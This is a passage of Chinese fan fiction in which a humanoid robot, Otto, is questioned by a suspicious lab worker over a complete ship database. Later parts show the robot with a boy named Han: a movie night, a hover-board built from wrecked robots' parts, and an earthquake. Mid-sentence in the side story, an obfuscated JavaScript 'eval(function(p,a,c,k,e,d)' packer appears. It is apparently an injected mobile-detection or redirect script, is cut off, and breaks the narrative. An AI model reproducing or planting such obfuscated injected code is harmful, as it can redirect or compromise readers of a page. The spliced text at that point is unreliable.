太简单了。约翰猛地想着,那种轻松的感觉依然回绕在脑海里。他只是个机器人!我只要告诉他不可以乱碰,只要碰了我就会毫不犹豫地收拾他,他就是有意见也没处发…… 比人那帮破事简单多了。脑海中又飞过一丝念头。 “我们现在上去吧。”约翰甚至都听到轻快的声调在他的舌头里打转,“上面还有一个地方可以给你看。” 不出约翰所料,银色机器人顺从地转过身来,依然一句话都不说,就跟着约翰走回到楼梯里。 “这里我要提前跟你说几个事。”约翰的声音回荡在黑暗的楼梯间里,“接下来给你看的是我们的转基因区。不过你得按我说的做,否则你就别想好好出去了。听到了吗?” “嗯。” “进去那个房间后,什么东西都不能碰,也不能开闪光灯——我才不在乎你到底有没有,然后我说不可以往前走的区域,你也不可以继续往前,懂了吗?” “是。” 现在就看这铁皮人的到底是不是守规矩的了。约翰把拇指按在验证区的时候拿眼角瞟了身后的银色身影一下。他轻轻抽了一下手臂和背上的肌肉,想着自己到时候对付这么一个机器人应该不是问题。 不过谁知道呢? 门沉重地滑开了,发着白光的顶灯开始慢慢变亮。里面几个巨大的、白色的机器映入他们俩的视野。这个房间比培养间小得多,现在里面没有人在操作仪器。于是这几个巨怪现在就如同睡着了一般,无声无息地等着任何人来唤醒它们。 奥托环视了一周,他的视线定在了一台放在角落的、看上去似乎比其他机器略微泛黄的白色巨“柱”上。这个柱箱从外观看上去是密闭的,与放在走廊的冰箱有点像。但是吸引奥托的却是绕在这台机器外壳上的、有特征蓝绿色电路板样式的腰线。 他顺着这条腰线找去,果然,在略面对着房间深处的正面,有几个蓝绿色的字母。它们反着顶上的白光,让自己隐隐约约难被辨认。奥托稍稍压低了一点高度,那几个字母就从反光中钻了出来,原形毕露了。 人形机器人的动作没有逃过约翰犀利的眼睛。果然。约翰想着,一个特征中了。接下来得小心点。 “我先来讲一下。”约翰把试探藏在了心中,让银色机器人把视线收了回来,“左边离门最近的这个是化学法转基因的无菌封闭操作仪,前方那个是用物理方法的转基因操作仪,需要比较大的空间来对某些颗粒加速,所以看上去比化学法的要大一些。然后右手边紧贴门的这个是无菌培养的地方。刚刚转完基因的原生质体是不能马上放到培养间的,得在这里缓冲。”约翰停了一下,接着说,“这些东西你只需要知道是我们转基因的地方就行了,怎么转的不是重点。” “那个是什么?”奥托直截了地指向那台处于角落的、具有特征性蓝绿色腰线的、明显比其他机器老一些的圆筒密封仪器问道。 “啊,那个。”约翰脸上露出一种嫌弃的神色,“一台老掉牙的机器,倒是也能做转基因,不过顶不上这些新的好了……但有的时候材料太多才把它当成备用的。”这个时候约翰突然转身,”好了,现在这里都没在做转基因,没什么好看的了,咱们出去吧。” 老天爷。约翰在关好门之后,忍不住又回头看了一眼那个门有没有翘起一角的痕迹,所幸似乎门关好了。不知道自己露馅了没有……但是他肯定看出来这台机器特别了…… 竟然没想到他果然就认出来了那个东西! 奥托依然什么话都没说。 一场争辩在约翰的脑袋里越来越激烈,几乎要穿透他的头皮把吵架声散播到外面。 不对啊……如果我听说的是没错的,他们根本不养机器人…… 屁话!就是因为你们都以为他们不养机器人所以这才是个幌子!你被骗了! 真的不应该给他看这个景点……一瞒百瞒,何必留这个隐患…… ……所以恐怕得除掉他…… …… 他到底是干什么的?! 脑袋里的一声尖叫让约翰猛地打了个激灵。抬头,这才意识到自己已经站在了302房门口。尽管现在已经入秋了,相比上面被阳光加温的大地,底下的空间显然还更凉快些。他感到背后已经湿透了,一层冷汗浸透了他的胳膊。 他把拇指按在感应区的同时用眼角瞟了一下身后,那个银色的家伙依然安静地站着,看上去并不着急走开。 别傻了。机器人的着急是可以让你看出来的吗? 门开了后,约翰让奥托进了门,然后他立刻把门关了。 “所以,你看了那么多,有什么问题吗?”约翰坐回到自己的悬浮椅上。转过身后,他的脸上笑容没了,神色冷峻地望着前面这个人形机器人。 “有。”奥托回答。“事实上,我想和你好好谈谈。” “行啊。”约翰坐在自己的椅子里,叉着手,“那边有个椅子,你坐下。” 约翰看着银色机器人倒是很老实地坐下了,刚刚拔出的话锋悄悄收回到剑鞘一半。“你问吧。” “你们组织培养加抗生素吗?” 一听这话,约翰心里猛地一惊。他不禁坐直了身子。这家伙果然不好惹。他想。不能敷衍了。 “不让加。”约翰说道,“我终于知道你为什么问我有没有微生物污染了。的确,现在还没有特别严重的微生物污染事故,这是个奇迹。” “组织培养前会脱毒吗?” “肯定要脱毒的。”约翰说,“即使现在病害还没有流行,但是脱毒是肯定要脱的。” “刚刚你提到:‘地上似乎没有什么大的疫情’。这么说还是有的。” “对。”约翰说,”这个问题我们也没搞清楚怎么回事。”他抬起眼看了奥托一眼,那目光带着一丝锋利,“既然看上去你对农业这块不怎么陌生,那不知道有没有人告诉过你,刚降落这一段时间是没有什么病虫害的,后来植物越长越多,昆虫越来越多,病害才开始有。” “昆虫传播还是退化?” “你告诉我黑粉病是昆虫传播的?”约翰歪着脑袋说,“我们也考虑过退化这个原因,所以现在你也知道我们在这里大费周章地培养是干什么的。”他故意没有点明白。 “转基因。”奥托径直点出了没有说出的内容。“还有一个问题。” “什么问题?”约翰面无表情地盯着奥托的黑色镜头。 “你们用的酶和目的基因是哪里来的?”人形机器人的声音毫无变化,“我没有看到合成间。” 听此,坐在悬浮椅中的瘦长黑人男子先是愣了一下。他盯着奥托,稍稍直起了上身。 “你不知道?”他反问道。 奥托轻轻摇了下头。 约翰看着奥托一直没有动作。许久过后,他终于说话了。 “从你来的地方订购的。” 听到这句人形机器人稍稍动了一下。“什么?” “O区。”约翰抱着手臂,冷冷吐出那个词。 奥托愣了一下。但还是一如既往地回答了。 “苏利文先生,我不是从O区来的。” “如何证明?”黑人男子靠在悬浮椅的背上冷冷问道。 “你可以现在就去联络镇长。他可以担保。”奥托平静说道。 约翰的目光尖锐地扫过人形机器人,但出乎奥托意料的是男子并没有拿起通讯器直接联系老人。 “为什么不自己做酶?”奥托继续问道,不理会男子的表情变化。 听此,坐在椅子中的黑人男子轻笑了一下。伸手搓了搓下巴之后,他说话了。 “自己做酶,太不划算,浪费时间又浪费资源。”约翰答道。 “我留意到你们还有一台GE-A7。”奥托接着约翰的话立马说道,“你们不知道它除了可以转基因外还可以合成酶和目的基因吗?” 哪怕皮肤的黑色本来是个非常理想的保护面具,约翰的脸色此时都青得随便一个人都看得出来。他盯着奥托的黑色镜头好一阵子,决定对这个机器人摊牌。 “奥托。”约翰郑重说道,“我才不管你他妈到底是谁,维罗妮卡放你下来绝对是个错误。”顿了一下,约翰觉得自己这样对一个铁皮人说话不会有什么毛病,“你还有半个小时时间坦白。” “你为什么来这里?”约翰抛出了这个王牌,“不许说谎。” “外面没有合适的对象可以告诉我现在你们农业发展的情况。”奥托从容回答,“所以我只能来亲自了解。” 逻辑上是那么回事。但怎么都似乎有些怪。约翰心想。“是个人,这么想没问题。”约翰说,“但是你为什么会冒出这么个想法?” “充分了解基础状况并且提议是我们一向的责任。”奥托回应,“我并不知道我是第一个。” 倒是说得头头是道。约翰暗自嗤了一声。“那你有什么高见吗?” “你们没有充分利用好你们的东西。”奥托说,“GE-A7——” “别说那个。”约翰立刻打断了奥托的话,“我知道它能干什么。除此之外呢?” “……”奥托没想到会被打断。他本想提出那个本来的目的,早上的警告让他住嘴了。“……除此之外没了。” “没了?”约翰眉毛一下子挑了起来。从语气中听不出来他到底是更惊讶还是更失望。“我告诉你小子,你来这儿的目的肯定没那么简单。继续说,我知道你还有货。” “没了。”奥托说。 约翰坐在椅子里哼了一声。“待会我会亲自看看你还想什么,铁皮人,我知道你们隐瞒的东西自己是删不掉的。” “……”奥托犹豫了好一会儿,才继续说,“在了解科研情况的同时评估你们对知识库的需要程度。” 约翰的耳朵刷地一下立起来了。“知识库?”他狐疑地问道,“你是说公理号的完整数据库?”他故意把重音放在公理号和完整这俩字上。 “对。” 老天爷!约翰一听到这里,感觉脑袋里有根弦蹦地一下狠狠弹断了,那个隐隐约约的危险信号任何时候都比不上现在真切。此时不收网更待何时。约翰知道这个大祸已经闯下了。 “抱歉,小子。”约翰站了起来,心脏开始加速跳动,铆足了劲要把血液尽快泵到准备作战的肌肉中,“我也不希望出现这样的结果,但不好意思,我们得盯着你把这两小时的记忆全部清除。” “我说了,镇长可以担保我不是O区来的。”奥托见状后退了一步。 “小子,只有O区的人才有完整版的。”约翰边说边接近人形机器人,“这个帐你没法赖。” 奥托看着这个已经站在自己面前的高大男子,如果能叹气,他估计早就叹了。但所有的动作也只是保护性地交叉双臂而已。“我建议您现在联系镇长证实。” “对不起,你得先说明白为什么你有这个数据库,不然只有删除记忆然后把你丢出去一条路。”约翰站在机器人面前,斩钉截铁地说。“给你半分钟好好考虑。” 约翰知道机器人可以保持缄默,他一点都不觉得意外。但他不知道这是不是O区照着模子印出来的,他更不知道老头子能不能认出来赝品。就看看这家伙到底是什么居心了。约翰猜测奥托会死也不说,这样他倒可以直接把铁皮人拎出去烤个脑袋。他知道,删了这家伙的记忆,对他一点损失都没有。 他看着人形机器人木木地站在门边,黝黑的光学镜映出的尽是自己的脸。 13,12,11……他默数着。 “我向外界发了数据库请求,5天前收到了完整的副本。”奥托终于开口了,“当时我已经在公理号电脑中备份了,并且应该立刻发出更新完成的公告,但是镇长不允许我发公告,并且让我删除备份。” “你删了吗?”约翰的口气立刻尖锐起来。 之前格兰德的对话和眼前这个人的尖锐问话让奥托及时止住了自己直接招出真相。”还有另一份备份。”奥托说。 约翰看上去放松了一点。他站在人形机器人面前,托着下巴仔细思索了一阵子。奥托默默站着没有说话。 不让发公告,真是奇怪…… 在思索中,约翰突然感觉抓到了一丝光明,但当他细看这个光明的时候,与这一线光明丝毫不相称的担忧也涌了上来。 不对……约翰想,如果老迪不让发公告,那说明这个东西并不想让那么多人知道……资料库…… 完整资料库?……?! 卧槽……这个铁皮罐头也太实诚了吧?! “好,我会直接找他要这份资料。但拜托你别再找什么其他部门继续今天你这惊魂了。”高大的黑人男子终于开口了。他用一种犀利夹杂怜悯的眼神看着眼前的人形机器人说,“幸好今天你碰着的不是卧底。” “年轻人,我不管你他妈是白过了一千年的老妖精还是只被启动了一年的小毛头。”约翰继续说道,“你勇气可嘉,但是——”他故意停住了。 “——你的嗅觉太差劲了。” 11. 番外1[番外] 此篇为番外,情节与正文无关!逻辑可能不通!人物有OOC! 飞行的地球进入到电工的纸叶中,不断破碎的纸片堆成正在旋转的行星发动机、“领航员”号太空站及纸带造就的地球公转轨迹,然后所有碎片拉向超光速特有的光束。全息投影屏终于跳回原有的冰冷蓝色光芒,监控室内立刻只留一片寂静。 “所以……你觉得这片子咋样?” 机器人特有的红色光芒交汇在全息投影中,终于他开口了。“有一个问题。” “什么问题?”汉问。 “为什么‘领航员’号主控室烧毁之后整个空间站还可以正常运转?” 汉本以为Auto会问些什么关乎人类存亡的哲学问题,显然他又猜错了。 “他烧的不只是MOSS的核心部分吗?” “那里显然是整个空间站的机房。你留意一下,火势最后在整个机房都蔓延开了。” “但是前面的操纵室没烧到啊。” “操纵需要机房支持。”Auto补充。 “也许还有独立的一套系统设在空间站后方呢?” “在火中通往后方机房的线路很快会受损。” “或许根本不是通过线路的呢?那么发达的通讯,可能是遥控的呢?” “那还专门弄这个操控室还要停转干什么?” 监控室突然安静下来。男孩瞪着机器人的红色光镜,愣是半天没说新的。 “我草,你真能杠。”汉终于说了一句。“这是个科幻片。” “科幻之所以为科幻正是因为其科学性。” “但可以包容有争议的东西甚至是BUG。”汉说。“而且,你觉得公理号那个设计就很科学吗?” “她能飞700年,从理论与实践上都证明是科学的。”Auto说。 汉本来想说领航员空间站也是设计成可以进行上千年飞行的,但比起公理号,退役的还是早了点…… Auto抽开平板,一个与全息屏同样蓝色的冷光散了出来。 “为什么你非得挑今天看电影?”Auto说,“这几天晚上我还得忙。” “你还能忙啥。”汉漫不经心说,“晚上谁还干活,你不就是看看文献编编程什么的。” “……一起出来吧。”人形机器人犹豫了一下是否应该带男孩出监控室,他还是妥协了。 汉一脸茫然地走到黑暗平原的寒风中。他首先看到人形机器人把视线放到远方黑色的巨大剪影,然后又低头看向平板。就在这时,汉的眼角瞥到硕大的黑色剪影似乎发出了一点光亮。男孩立刻抬头,那点光亮从公理号的主发动机那里亮起,然后不久之后缓缓熄灭。接着光亮从比刚才位置略有不同的地方再次亮起,蓝色的喷射流持续了十秒后,再次熄灭。 平原上隐隐传来一点闷闷的隆隆响声。 “我去,你这是——春节十二响?” “什么春——何止十二,今天有二十四个,响不能太响。” “你在搞什么?” “测试发动机工作状态。” 黑暗中看不清男孩的脸,但Auto确定他肯定又是一脸震惊。“诶?老迪不是不让你修发动机吗?” “呵呵。”汉发誓这是他第一次听Auto笑,“软磨硬泡了他一年,终于让给修了,不过测试好后推进系统会被关闭,而不是待机。” “那为什么不能太响?晚上这么安静还测试发动机?” “已经是最小功率了,而且这个不能让太多人看见。不然他们又得来说我叛变。” “那我怎么有这个特权?”男孩幽幽地问。 “你很特别呗。”很难相信刚刚的杠精机器人话锋转得比风切变还快。 “我——去。”汉的三观都要被刷了。“一年就学皮了啊。” “谢谢夸奖。”机器人的红斑不离平板上半刻。 男孩突然想起了什么。“对了你刚刚不是问为什么专门挑今天吗?” “为什么?” “距离你被重启刚好一年。” 机器人愣了一下。“那……这有什么特别的?” “你怎么这么漫不经心啊?”男孩说,“拜托三个月的豁免期给你延长到了一年!四倍啊,怎么能不庆祝一下呢?” “挑个这么不友好的电影来庆祝?”Auto反唇相讥。 “还有呢。”汉从衣兜中掏了个东西出来。“别人我不管,这个,我可是为了你破戒了。” 远方的闷闷雷鸣一般的声音依然传来,显示屏上的蓝光正在被绿光逐渐占领。 男孩把这一小瓶东西放到Auto镜头底下晃了一下,成功吸引到那束红光移动。 “这是什么?”机器人清冷的声音说。“给我看一下。” 男孩却不肯交出去。“这,是我家的玉米陈酿,82年的。” “多少度?”人形机器人不露声色地接近了男孩一点。 “不高不高,也就52度吧。”男孩说。 一道被红光渲染的银色影子刷地一下掠过男孩面前,汉吃了一惊,反应过来的时候,自己手中的那个瓶子已然到了机器人手中。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“烧……烧也不会是挑这个日子……烧……”男孩意识到自己刚刚说错话了,但不打算改,“这风口……点都点不着……”一阵寒风吹过平原。 “我也不会坐着让你点。”Auto说。 平板传来一点提示音,上面的图表缀满了绿色。最后一个蓝色火焰慢慢缩回到黑色剪影中。平原上彻底安静了,只有时不时的寒风卷过干草,发出斯拉斯拉的声音。汉安静地望着那个蓝色火焰彻底熄灭,说了一句。 “重启日快乐,Auto。” “嘤。”机器人如此回应。 12. 十 【就是这里。】一个飞行机器人用前置板上的指示光在前面黑黝黝的那一大片地方扫了一下,绿色的光点扫过那一片在黑暗中无法辨认的层层叠叠,所到之处激起了明亮的绿色反光,不时还可以看到上面的特征蓝色腰线。 他们没有收到奥托的任何消息,只是看到老大默默地走到了那一片狼藉之前。几个机器人都稍稍往旁边挪了一下,谁都没出声打扰奥托。狼藉之前除了那些机器人身上发出的光,还有一个喑哑的红点久久停留在某个已经开始锈蚀的铁片上,上面还隐隐约约有点蓝色的字迹。 没有机器人知道奥托此时在想什么。几个机器人却都有些反常地一个都没有互相交流。他们都是在一边静静地等着老大发出下一步指示。他们知道,当自己第一次来这里的时候,也是差不多的心情和反应。 【找到SECUR-T型号尽可能完整的残骸,搬出来。】奥托终于给这几个机器人下了命令。他看着这些不同型号的机器人迅速地组成团队开始对这一片狼藉扫描挖掘,自己后退到一块石头边默默监督这些机器人工作。 最终放到他面前的只有3台不成样子的SECUR-T。其他机器人在一旁等着老大说什么。他们看着人形机器人俯身下来,那个暗淡的红色光斑骤然增加了一些亮度,一片红色的网络撒了下来,以一种规律得冰冷的频率从头到尾逐次扫过这三个残骸。然后红光恢复到了原有的暗淡。 【EG-NR32,把他们的反重力推进装置拆下来。】32号机器人听到了让他这辈子都想不到老大在这种情况下会说的一句话。【然后取出他们的核心芯片,给我。】 尽管对老大的命令震惊不已,这个机器人的外壳还是应命令裂开了一条条缝隙,从中伸出了不少小工具,开始在老大眼皮底下有条不絮地打开残骸的缝隙,一路往下拆解,终于露出了那个致密的黑色装置。他讲这个装置小心取出后就接着给下一个残骸动手术。最后他才从每个残骸的顶端抽出芯片,三个细细的镊子分别伸向了老大的金属仿真手。 其他机器人早已继续在那片狼藉上扫描了。想必老大也给他们下了其他命令。完成任务后的EG悄悄浮在了老大身边待机,他犹豫了好一会儿应不应该趁这个时候提提他们自落地以来就越来越明显的需求,但最终还是没有问出口。通过那些闪烁的光点,他知道老大在和那些机器人交互着什么,然后那几个机器人把三个反重力装置抬了起来向前飞去。 跟着那三个同伴离开的时候,EG看到,奥托悄悄把三枚芯片放到了身上的隐藏空间中。 “叩叩叩。” 男孩扬了下眉毛。他悄悄压下把手,把门推开一条缝,然后带着恶作剧的心态猛地打开。里面的黑暗一时让他难以适应,幸好有外面的阳光,让他不至于好几秒都缓不过神来。 监控室里空空荡荡,连全息投影都没有打开。汉走进这个异常安静的逼仄房间里,扫视了一周也没发现任何动静。他索性坐在了已经放倒在地的悬浮椅上,主动打开了监控室电脑,条件反射式地找到了平常他该找的文件。全息投影自两条光束交融成形,立在了男孩面前。 不过几分钟,汉的心思就开始往外飘了。现在他满脑子就是直接进公理号舰桥实操,奥托曾经答应过他到时候一定让他上机练习。而现在他看着这一些古怪的知识,实在想不出与以后的实操有多大联系。在煎熬中又艰难看过几个方程式后,也不知道有没有弄清楚推理过程,男孩就忍不住偷偷关了全息屏,把脑袋探出监控室。 结果不探头还好,这一探,眼睛直接撞上了在房屋后门廊上,被阳光反射的银色身影。 男孩被吓了一跳。定睛再看,人形机器人似乎没有发现他的走神。再观察一阵机器人的动作,汉释然了。奥托一定又在修什么东西。汉知道,这个时候奥托不可能有心思去监督他在干什么,那干脆一不做二不休,直接过去瞅瞅他在弄什么玩意。 “早上好,奥托。”汉装作一副什么事都没发生的样子,径直走进门廊。他坐到门廊的长凳上,眼睛离不开奥托手里的那一大坨奇形怪状的机械怪物。 “早上好,汉。”奥托的声音一如既往。“这么早就看完了?”人形机器人抬起头,汉发誓从那黑洞洞的镜头里看到了质问。 “没……有……”汉只能招出实话。他不敢也不想对奥托撒谎。 “过后补上。”奥托没有责怪汉,也在男孩的意料之中。虽然奥托没有明确表示,但男孩知道自己获得了暂时的学习豁免权。眼前人形机器人抓着一个微焊枪,正在点焊那个机械怪物的精微线路。汉仔细观察了一下那个焊枪,银灰色的尾巴就连在人形机器人身上,显然那是EP机型自带的。 汉不得不承认出来看完全是为了逃避学习理论的枯燥。其实他看了好半天都没明白奥托在焊什么东西,但又不知道从何问起。旁边的一小堆白色的碎片看上去像一堆垃圾——好吧,说不定真的是垃圾。男孩出于好奇捡了一块在大太阳底下眯着眼睛看。这时人形机器人说话了。 “小心点,别弄碎了。” “这时用来做什么的?”汉终于忍不住问了。 “外壳。”机器人简短回答。 “你手上这东西的外壳?”男孩问,“你到底在做什么?” “悬浮滑板。”奥托毫不掩饰地说。“好了,把那块东西给我。” 汉的下巴立刻掉了出来。然后男孩不可置信地看着丝毫没有波澜的人形机器人。 “老天爷!”汉不由自主惊叹一声,“想不到你竟然会玩这个!” “不是用来玩的。”依旧毫无起伏的金属音。 男孩愣了一下,随即放松了。以他的了解,奥托当然不会突然有这番闲情逸致。但他也丝毫不沮丧。他顺从地递过那块白色碎片。“嘿,弄好后让我试试如何?” “通过测试才行。”奥托接过白色碎片,开始拼接在裸露的机械怪物上。 汉不得不佩服机器人的动作就是比人干练。虽然奥托的动作不算快,但他不会犹豫,所有动作一气呵成毫不多余。随着板块的拼接以及奥托刚刚的提示,汉终于看出了眉目。奥托刚把这块板放到地板上,早已看出踩踏开关在哪里的汉立刻蹦了上去。 “下——”奥托丝毫没有料到男孩这一招,突然猛跳到自己跟前的身影让他差点让焊枪把自己的金属手给切了。与此同时,汉的重量突然压到了那个开关上。汉之前自信地以为,自己会像那些酷炫的中二动画里一样,踩上滑板就成为风之男子,但在他踩上滑板的那一刻,他后悔也来不及了。 他的脚不偏不倚地踏上了滑板的开关,结果在滑板腾空冲出去的同时,头没跟得上脚上的速度,让他成了个人形不稳平衡杠杆,首先与地面亲密接触的就是他的背,随后是后脑勺——说白了,就是踩了块会飞的香蕉皮。 年龄越大摔起来越有杀伤力。着地那一下,汉只觉脑袋里“嗡”了一声,然后他真切地体会到了什么叫眼冒金星。接踵而至的则是尖锐的一击然后绵长而难熬的剧烈疼痛,他都意识不到自己已经在地上滚开了。 等到汉龇牙咧嘴地稍微回过神来一点,正好对上了一个黑洞洞的镜头。 “爽吧。”隔了好久,奥托似乎才找到这一个听起来合适的词。 “……爽……”从脊柱传来的剧烈疼痛让汉差点都直不起腰。“你……怎么会想着做……这种玩意……” “比走快。”奥托不理会男孩的疼痛,自顾自地检查滑板的损伤情况。确认滑板线路正常后,将旁边已经准备好的小型配重物体放在了滑板上面,然后一点点在踩踏面板上加不同的配重。没有了初始的水平速度,此时滑板不再是个香蕉皮,而是服服帖帖地按照测试的配重上升到一定高度,然后稍微向前加速,但不至于很快。超过固定距离后,让滑板加速的配重被绳索扯紧掉下,滑板慢慢减速,停在了不远处。 与经典的检验工序相比,这种检验方法绝对不合格。但人形机器人认为滑板已经通过初试,可以上岗了。他取下配重后,滑板高度渐渐下降,停在了地表上。奥托谨慎地踏下启动开关,与之前载起配重一样,板面重新徐徐从地面升起。 汉此时已经坐在了门廊的椅子上,目不转睛地盯着不远处的人形机器人。饱受冲击的脊柱棘突和枕骨还在随着血流一跳一跳地仿佛闹钟般提醒他刚刚的不测之灾,与此同时他气恼地发现自己的手不随自己的意志轻微颤抖。他抱着幸灾乐祸加报复心理,等着那个银色身影和他一样从滑板上摔个狗啃泥。 当然,没看多久,这俩心理都让位给了越来越强烈的嫉妒——除了刚开始奥托仿佛刚登上帆船那样有些难以保持平衡之外,后面的测试越来越顺。汉看到银色身影在空中移动得越来越快,在转弯的时候也不再保持直立,而是如同速滑队员一般。阳光下金属手反射的光掠过草地。 就在汉感到这场滑板秀越来越索然无味之时,反光的银色机体突然一个趔趄,似乎是滑板卡在了什么地方似的,奥托整个机体往前冲去,滑板在失去动力后栽到了草坪里。但汉觉得这未免也太不公平了。眼前的机器人只是踉跄了一下,没有摔。而且就算是真摔了,草地里也肯定不会像他这样惨。 等到奥托拿着滑板走向门廊时,看到一张故意苦着的脸正朝自己点头。 “很秀啊。”男孩拍了两下掌,表情与嘴上的夸奖截然相反。“只可惜落地动作不标准,扣分。” “高速停下确实考验技术。”奥托没有回应男孩的话中之意。汉被噎了一下。 “对了……你从哪里弄的磁浮装置?”汉看着人形机器人在进一步给滑板做检查,问。 “两个SECUR-T的残骸。” 即使焦距没有对到边上,鱼眼镜头边缘透入的男孩那张模糊的脸上明摆着是大写的震惊。早些时候那个EG机器人用脉冲给了他一模一样的信息。但对此奥托不打算主动解释。 “你……怎么可以用自己同伴的零件做私人物品……”汉倒是十分直截了当地说了出来。他难以想象面前的机器人头领竟然会把自己的手下拆了当零件用。男孩不由自主地想象有个人在对自己的手下干同样的事情,哪怕那俩手下已经死了。这个人把其中一个手下的一副肺脏挖了出来当气球用,把另一个手下的心脏挖出来当水泵用……其中的恶心与不堪简直不忍直视。 “理智一点,他们已经损坏到无法复职了。”奥托十分冷静地回应。“我保留了他们的芯片,等到资源许可,他们可以重新运作。” 所以这就是机器人的世界吗……汉对此依然感到毛骨悚然。他也不知道为什么能接受人拆了机器人用零件,但想到机器人互相拆解,取出对方的零件,如同蚂蚁一样互哺时,他就感到阵阵寒意直冲胃部和脊梁。 不知道其他机器人对这件事怎么看……男孩想着。如果他们和我的观点差不多,事情就会变得很有意思了…… “你可以试试了。”清冷金属声打断了汉的思绪。男孩看着现在放在自己面前地上的滑板,突然有些不知所措。但他没有犹豫太久,不比上次鲁莽地蹦了上去,这次他先站稳在了滑板那还算比较宽敞的站立区,然后才小心地一脚点下启动开关。 汉发现不低头看还好,底下景物的移动非常容易干扰自己对平衡的判断,升空的感觉就像坐了次极其短暂的电梯。磁浮滑板升空后男孩发现比自己想象得要稳很多。他尝试这着轻轻踩了下加速面板,磁浮滑板载着他稳稳向前滑去。 有了如此稳定的体验,汉的胆子壮了起来。他在空中移动的速度越来越快。他模仿着人形机器人开始如同短道速滑一般内倾身体,想着自己的身体能够如同被空气托住一般顺利滑过旋转半径。然而在他伸手的一刹那,与想象完全不符合的重坠感再次让他失去了平衡。这次他一头栽到了草丛中,惯性推着他翻了好几个跟头。 不过这次汉一点都不气恼。最初的兴奋劲过了之后他就接受了必然会栽跟头的事实。男孩翻起身打算再试一次,但迎面碰上了银色的金属身影。 “过于危险。”奥托直接堵住了汉的嘴。人形机器人按下了滑板上的启动开关,滑板将所有重量慢慢压在了奥托的两条金属臂上。 “这只是草地而已,能摔到什么?”汉还想争取一下。 “不行。”态度很坚决。 “好吧。”男孩知道对方的倔强,”那你还做滑板吗?” “不会。”人形机器人回应道,”当然,你想自己做一个,我也拦不住。” 秋日的草地上,清风拂过的地方都干爽凉快,带着一股有点焦却很舒服的淡淡草汁味。汉正抬着脚迈过有些高的草打算朝门廊走去,突然感到一阵头晕目眩。他停住了脚,揉了揉脑袋,以为是自己刚刚摔的那阵还没缓过劲来。但当他放下手之后,另一种感觉立刻引起了他的注意——他觉得脚下的地面在微微颤动。 汉以为这是自己的幻觉,向前面的人形机器人投去一丝疑惑的目光。当视线移到那个同样也停下了脚步的银色身影时,他立刻明白了这不是幻觉。 “你也感觉到了,是吧?”男孩感觉自己的脚底下那股颤动依然绵延不断。 “当然。”奥托黑洞洞的镜头正盯在男孩身上,“刚刚通讯里说是地震。” “哦。”机器人的话肯定了汉的猜测。此时脚下的震动似乎已经消失了,“小震而已,稀松平常。” 男孩一脸从容地重新往前走去,丝毫没有留意还在原地站定的奥托。 “‘稀松平常’?!”身后传来清冷的金属音。 “对啊。怎——”汉本来惊奇怎么还有人会对这个有疑问,突然想到身后的是奥托,才放下刚刚扬起的眉毛,“——哦你可能不知道。这就是小地震而已,发生过好多次了,然后啥事都没有了。哦对了,可能会下泥浆雨,不过看这天这样也下不来。再者说现在应该储备一两天的干净水了,因为地震后河里经常不干净;然后水里可能会有点怪怪的味道;然后再科幻一点,说不定公理号发射台就是这样淹到海里的——” 男孩边说边回过头去,差点被人形机器人的模样吓了一跳。 “喂,我说你在想什么?”汉刚刚的轻松语气消失了,取而代之的是略微紧张,“我只不过说了一个真的很稀松平常的事而已,别的都没见你这么紧张过。” “我没有紧张。”还站立在草地上的奥托发出一如既往听不出情绪的金属音。“你继续。” “你的红光都亮起来了。”汉立刻点出了对方的异样之处。 汉看着奥托以迅雷不及掩耳之势把手举到自己的镜头之前。当暗色的花纹面上映出白天下淡淡的红光后,奥托妥协了。 “刚刚你说了一个很重要的线索。”奥托补充道。 “真的吗?”汉眯着眼睛问道,“你看上去就像A113指令被点着了一样。” “没有那回事。”几乎是立刻回答。 男孩耸耸肩,没有再追问。他看了看时间,发觉现在已经不早了。于是转过身去对人形机器人说:“我先回去打水,下午再过来补课。” “行。”汉听到这一句正打算迈第一步,身后传来的声音让他停住了脚步。 “还有一个月你的所有基础理论课程就结束了。”奥托冷静地说,“届时会有一次考核。如果没有过关,重修一个月再补考。如果过关了,那就可以进到公理号里进行下一阶段学习。” 听到最后一句时汉感觉全身的血液都冲上了脑门。奥托没有食言。上去练手的时间终于近在咫尺。同时考核的压力在一点点沉淀他的血液。 “然后,”汉没有想到还有,“你的学习内容不要对任何人透露过多。” “为什么?”男孩转过身来。 “个中缘由一时难以讲清,但你照做不难吧?”奥托问,“这是为你自己好。” “好……吧。”男孩转回去,披着衣服走向通往自家的小路。 人形机器人凝视着男孩的背影好久。他不知为什么,感到这次他前所未有地难以信任汉的保证。 太阳再度西沉之时,凛冽的秋风就迫不及待地开始扫荡热度所剩无几的大地。年轻人还觉得此时的温度尚能穿薄衣应付,年纪大一点的人——比如格兰德——此时已经裹上了厚厚的毛衣。 老人走到门廊上正要脱下鞋子,余光瞥到一个年轻人的身影从屋后倏地窜了出去。他抬起头,眯起眼睛仔细一看,就是那个男孩。 奇怪,为什么这孩子有学上还天天来这儿。老人独自思忖。高阶教育义务制办法确立后,地球镇里的野孩子们现在没有理由到处乱跑了,全都得在农务之外接受进一步教育。虽然他不指望这个措施最终能培养出多少真正能给地球镇做事的人。 屋子里扑面而来的是壁炉的温暖气息。在外面抽紧的肌肤一触到这股温暖的怀抱就自动全舒展开了。轮椅的声音静悄悄从厨房滚进客厅。格兰德挂好外套与毛衣后,转头看见的就是正在摆放餐具的阿莱茜丝。 “他还在后面吗?”过了这么久,两个人都已经知道这么问的主语是谁。 “对。我猜他要等我们吃完了才过来。”女孩扳着轮椅轻盈地转了个弯,回到厨房。 老人拿起餐桌上的杯子,倒了些热茶来加速温暖自己。然后主动把橱柜上的调料瓶都拿下来。有的时候奥托会提前就把这些东西放好,但不是经常这么做。特别是最近,不知道这个机器人究竟在忙些什么。格兰德经常一大早看见奥托从外面回来,然后一声不吭地开始例行家务,完成了他那部分工作后就径直消失在监控室中。 晚上得找这家伙好好了解一下情况。格兰德想着。 就在他们吃到一半的时候,厨房那边传来了门的声音,然后是金属脚踩踏地面的特有的坚实有节奏的声音。这时格兰德突然意识到一个咋一看不值一提的细节——阿莱茜丝基本上每次都能预测准奥托回来的时间。 “你是问过他什么时候回来了吗?”老人随口一问。 “有时候问过。今天我猜的。”阿莱茜丝的视线没有离开盘中的炸土豆半点。 “哦。” 